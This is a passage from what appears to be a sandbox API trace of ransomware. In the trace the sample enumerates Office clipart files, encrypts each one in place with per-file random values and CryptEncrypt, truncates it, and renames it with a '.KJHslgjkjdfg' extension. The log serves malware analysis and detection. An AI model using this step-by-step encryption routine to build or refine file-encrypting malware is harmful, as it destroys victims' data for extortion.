lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa00, lpOverlapped=0x0) returned 1 [0207.657] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.657] SetEndOfFile (hFile=0x130) returned 1 [0207.659] GetProcessHeap () returned 0x990000 [0207.660] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.660] GetProcessHeap () returned 0x990000 [0207.660] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.660] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf.kjhslgjkjdfg")) returned 1 [0207.661] CloseHandle (hObject=0x130) returned 1 [0207.661] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd176e300, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd176e300, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03795_.WMF", cAlternateFileName="")) returned 1 [0207.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.663] GetProcessHeap () returned 0x990000 [0207.663] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.663] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.663] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.663] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0207.665] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.665] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.665] GetProcessHeap () returned 0x990000 [0207.665] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.665] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.666] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.666] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.666] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.666] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.666] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.666] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.666] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.666] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.666] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.666] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.666] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x78a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x78a, lpOverlapped=0x0) returned 1 [0207.666] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x790, dwBufLen=0x790 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x790) returned 1 [0207.666] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.667] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x790, lpOverlapped=0x0) returned 1 [0207.667] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.667] SetEndOfFile (hFile=0x130) returned 1 [0207.669] GetProcessHeap () returned 0x990000 [0207.669] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.669] GetProcessHeap () returned 0x990000 [0207.669] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.670] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf.kjhslgjkjdfg")) returned 1 [0207.671] CloseHandle (hObject=0x130) returned 1 [0207.672] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14937f00, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14937f00, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x1020, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE04050_.WMF", cAlternateFileName="")) returned 1 [0207.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.673] GetProcessHeap () returned 0x990000 [0207.673] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.673] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.673] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.673] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.673] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.673] GetProcessHeap () returned 0x990000 [0207.673] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.673] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.673] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.673] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.675] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.675] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.675] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.675] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.675] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.675] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.675] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.675] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.676] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1020, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1020, lpOverlapped=0x0) returned 1 [0207.677] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1020, dwBufLen=0x1020 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1020) returned 1 [0207.677] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.677] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1020, lpOverlapped=0x0) returned 1 [0207.677] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.677] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.677] SetEndOfFile (hFile=0x130) returned 1 [0207.679] GetProcessHeap () returned 0x990000 [0207.679] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.679] GetProcessHeap () returned 0x990000 [0207.679] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.679] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf.kjhslgjkjdfg")) returned 1 [0207.681] CloseHandle (hObject=0x130) returned 1 [0207.681] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE05665_.WMF", cAlternateFileName="")) returned 1 [0207.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.682] GetProcessHeap () returned 0x990000 [0207.682] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.682] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.682] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.682] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.686] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.686] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.686] GetProcessHeap () returned 0x990000 [0207.686] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.686] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.686] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.686] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.686] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.686] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.687] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.687] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.687] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.687] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.687] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.687] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.687] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x37f8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x37f8, lpOverlapped=0x0) returned 1 [0207.688] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3800, dwBufLen=0x3800 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3800) returned 1 [0207.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.688] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3800, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3800, lpOverlapped=0x0) returned 1 [0207.689] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.689] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x38d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.689] SetEndOfFile (hFile=0x130) returned 1 [0207.692] GetProcessHeap () returned 0x990000 [0207.692] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.692] GetProcessHeap () returned 0x990000 [0207.692] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.692] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf.kjhslgjkjdfg")) returned 1 [0207.693] CloseHandle (hObject=0x130) returned 1 [0207.694] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f24df00, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f24df00, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x167c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE05710_.WMF", cAlternateFileName="")) returned 1 [0207.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.695] GetProcessHeap () returned 0x990000 [0207.695] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.695] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.695] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.695] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.697] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.697] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.698] GetProcessHeap () returned 0x990000 [0207.698] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.698] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.698] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.698] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.698] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.698] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.698] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.698] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.698] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.698] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.698] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.698] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.699] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x167c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x167c, lpOverlapped=0x0) returned 1 [0207.700] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1680, dwBufLen=0x1680 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1680) returned 1 [0207.700] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.700] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1680, lpOverlapped=0x0) returned 1 [0207.701] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.701] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.701] SetEndOfFile (hFile=0x130) returned 1 [0207.704] GetProcessHeap () returned 0x990000 [0207.704] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.704] GetProcessHeap () returned 0x990000 [0207.705] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.705] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf.kjhslgjkjdfg")) returned 1 [0207.706] CloseHandle (hObject=0x130) returned 1 [0207.706] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49073b00, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49073b00, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE05869_.WMF", cAlternateFileName="")) returned 1 [0207.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), 